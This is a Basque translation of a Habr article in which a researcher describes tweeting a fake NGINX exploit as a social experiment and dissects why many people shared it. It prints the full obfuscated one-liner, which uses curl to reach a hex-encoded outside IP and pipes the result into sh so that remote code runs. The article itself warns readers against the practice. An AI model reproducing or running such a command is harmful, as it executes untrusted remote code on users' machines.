Nginx-entzako ustiapen faltsu batekin esperimentu sozial baten arrakasta

Ohar. itzul.: Egilea Ekainaren 1ean argitaratutako jatorrizko oharrak, informazioaren segurtasunean interesa dutenen artean esperimentu bat egitea erabaki zuen. Horretarako, ustiatu faltsu bat prestatu zuen web zerbitzarian ezezagun den ahultasun baterako eta bere Twitter-en argitaratu zuen. Haren hipotesiak β€”kodean ageriko iruzurra ikusiko zuten espezialistek berehala agerian uzteaβ€” ez ziren bakarrik egia bihurtu... Aurreikuspen guztiak gainditu zituzten, eta kontrako norabidean: txioak laguntza handia jaso zuen ez zuten jende ugarirengandik. egiaztatu bere edukia.

Nginx-entzako ustiapen faltsu batekin esperimentu sozial baten arrakasta

TL;DR: Ez erabili fitxategi-zuzenbiderik sh edo bash-en inola ere. Hau zure ordenagailuaren kontrola galtzeko modu bikaina da.

Maiatzaren 31n sortu zen PoC exploit komiko bati buruzko istorio labur bat partekatu nahi dut zuekin. Berehala agertu zen haren berriei erantzunez Alisa Esage Shevchenko, kidea Zero Eguneko Ekimena (ZDI), laster ezagutaraziko da NGINX-en ahultasun bati RCE (urruneko kodea exekutatzea) buruzko informazioa. NGINX-ek webgune asko bultzatzen dituenez, albisteak bonba bat izan behar zuen. Baina "dibulgazio arduratsua" prozesuaren atzerapenak direla eta, gertatutakoaren xehetasunak ez ziren ezagutzen - ZDI prozedura estandarra da.

Nginx-entzako ustiapen faltsu batekin esperimentu sozial baten arrakasta
Txio egin NGINX-en ahultasunen dibulgazioari buruz

Curl-en offuskazio-teknika berri bat lantzen amaituta, jatorrizko txioa aipatu nuen eta ustez aurkitutako ahultasuna ustiatzen duen kode-lerro bakar batez osatua "funtzionatzen den PoC bat filtratu nuen". Noski, hau erabateko zentzugabekeria zen. Berehala agerian geratuko nintzela suposatu nuen, eta, onenean, bertxio pare bat jasoko nituela (o bueno).

Nginx-entzako ustiapen faltsu batekin esperimentu sozial baten arrakasta
Txio egin ustiapen faltsuarekin

Hala ere, ezin nuen imajinatu gero zer gertatu zen. Nire txioaren ospea gora egin zuen. Harrigarria bada ere, momentuz (15:00 Moskuko ekainak 1) jende gutxi konturatu da hori faltsu bat dela. Jende askok bertxiotu egiten du batere egiaztatu gabe (are gutxiago ateratzen dituen ASCII grafiko ederrak miretsiz).

Nginx-entzako ustiapen faltsu batekin esperimentu sozial baten arrakasta
Begira zein ederra den!

Begizta eta kolore horiek guztiak bikainak diren arren, argi dago jendeak kodea exekutatu behar izan zuela bere makinan haiek ikusteko. Zorionez, nabigatzaileek modu berean funtzionatzen dute, eta lege-arazoetan sartu nahi ez nuenarekin konbinatuta, nire webgunean lurperatutako kodea oihartzun-deiak egitea besterik ez zen kode gehigarririk instalatzen edo exekutatzen saiatu gabe.

Digresio txiki bat: netspooky, dnz, ni eta taldeko beste mutilak Thugcrowd Aspalditik ari gara kizkur komandoak nahasteko modu ezberdinekin jolasten, polita delako... eta geekak gara. netspooky-k eta dnz-ek oso itxaropentsuak iruditzen zitzaizkidan hainbat metodo berri aurkitu zituzten. Dibertsioan sartu eta IP hamartar bihurketak gehitzen saiatu nintzen trikimailu poltsan. Bihurtzen da IP formatu hamaseimalera ere bihur daitekeela. Gainera, curl eta beste NIX tresna gehienek pozik jaten dituzte IP hamaseitarrak! Beraz, komando-lerro sinesgarria eta segurua sortzea besterik ez zen. Azkenean, hau finkatu nuen:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingeniaritza sozio-elektronikoa (SEE) - phishinga baino gehiago

Segurtasuna eta familiartasuna izan ziren esperimentu honen zati nagusiak. Uste dut haiek direla bere arrakastara eraman zutenak. Komando-lerroak argi eta garbi adierazten zuen segurtasuna "127.0.0.1" (localhost ezaguna) erreferentzia eginez. Localhost segurutzat jotzen da eta bertan dauden datuak ez dira inoiz zure ordenagailutik irteten.

Ezagutza izan zen esperimentuaren bigarren funtsezko osagaia SEE. Xede-publikoa batez ere segurtasun informatikoaren oinarriak ezagutzen zituzten pertsonek osatzen zutenez, garrantzitsua zen kodea sortzea, horren zatiak ezagunak eta ezagunak (eta, beraz, seguruak) ziruditen. Exploitazio kontzeptu zaharren elementuak maileguan hartzea eta ezohiko modu batean konbinatzea oso arrakastatsua izan da.

Jarraian, lerro bakarreko azterketa zehatza dago. Zerrenda honetan denak janzten du izaera kosmetikoa, eta ia ezer ez da beharrezkoa bere funtzionamendurako.

Zein osagai dira benetan beharrezkoak? Hau -gsS, -O 0x0238f06a, |sh eta web zerbitzaria bera. Web zerbitzariak ez zuen argibide gaiztorik eduki, baizik eta ASCII grafikoak zerbitzatzen zituen komandoak erabiliz echo atalean jasotako gidoian index.html. Erabiltzaileak lerro bat sartu zuenean |sh erdian, index.html kargatu eta exekutatu. Zorionez, web zerbitzariaren zaindariek ez zuten asmo txarrik.

  • ../../../%00 β€” direktorioa adierazten du;
  • ngx_stream_module.so β€” ausazko NGINX modulu baterako bidea;
  • /bin/sh%00<'protocol:TCP' - ustez martxan jartzen ari gara /bin/sh xede-makinan eta irteera TCP kanalera birbideratu;
  • -O 0x0238f06a#PLToffset - osagai sekretua, osagarria #PLToffset, nolabait PLTn jasotako memoria-desplazamendu baten itxura izatea;
  • |sh; - beste zati garrantzitsu bat. Irteera sh/bash-era birbideratu behar genuen, hemen kokatutako erasotzaileen web zerbitzaritik datorren kodea exekutatzeko. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat-ek aipatzen duen maniki bat /dev/tcp/localhostdena berriro segurua izan dadin. Izan ere, ez du ezer egiten eta edertasunaren ildoan sartzen da.

Honela amaitzen da lerro bakarreko gidoiaren deskodeketa eta "ingeniaritza sozio-elektronikoaren" alderdien eztabaida (phishing korapilatsua).

Web zerbitzariaren konfigurazioa eta aurkako neurriak

Nire harpidedun gehienak infosec/hackerrak direnez, web zerbitzaria euren aldetik "interes" adierazpenekiko apur bat erresistenteagoa egitea erabaki nuen, mutilek zerbait egin zezaten (eta dibertigarria izango litzateke). ezarri). Ez ditut hemen hutsune guztiak zerrendatuko esperimentua oraindik martxan dagoelako, baina hona hemen zerbitzariak egiten dituen gauza batzuk:

  • Sare sozial jakin batzuetan banatzeko saiakerak modu aktiboan kontrolatzen ditu eta hainbat aurrebista koadro txikitan ordezkatzen ditu erabiltzailea estekan klik egitera animatzeko.
  • Chrome/Mozilla/Safari/etc Thugcrowd sustapen bideora birbideratzen ditu shell script-a erakutsi beharrean.
  • Intrusio/piratearen seinale nabariak ikusten ditu, eta gero eskaerak NSA zerbitzarietara birbideratzen hasten da (ja!).
  • Troiako bat instalatzen du, baita BIOS rootkit-a ere, erabiltzaileek ostalaria arakatzaile arrunt batetik bisitatzen duten ordenagailu guztietan (txantxa besterik ez!).

Nginx-entzako ustiapen faltsu batekin esperimentu sozial baten arrakasta
Antimeroen zati txiki bat

Kasu honetan, nire helburu bakarra Apacheren ezaugarri batzuk menperatzea zen -bereziki, eskaerak birbideratzeko arau politak- eta pentsatu nuen: zergatik ez?

NGINX ustiapena (benetakoa!)

Harpidetu @alisaesage Twitter-en eta jarraitu ZDIren lan handia NGINX-en ahultasun oso errealak konpontzeko eta aukerak ustiatzeko. Haien lanak beti liluratu nau eta eskertzen diot Aliziari nire txio ergelak eragindako aipamen eta jakinarazpen guztiekin izan duen pazientziagatik. Zorionez, on ere egin zuen: NGINX ahultasunei buruz kontzientziatzen lagundu zuen, baita kizkurren gehiegikeriak eragindako arazoak ere.

Iturria: www.habr.com

Gehitu iruzkin berria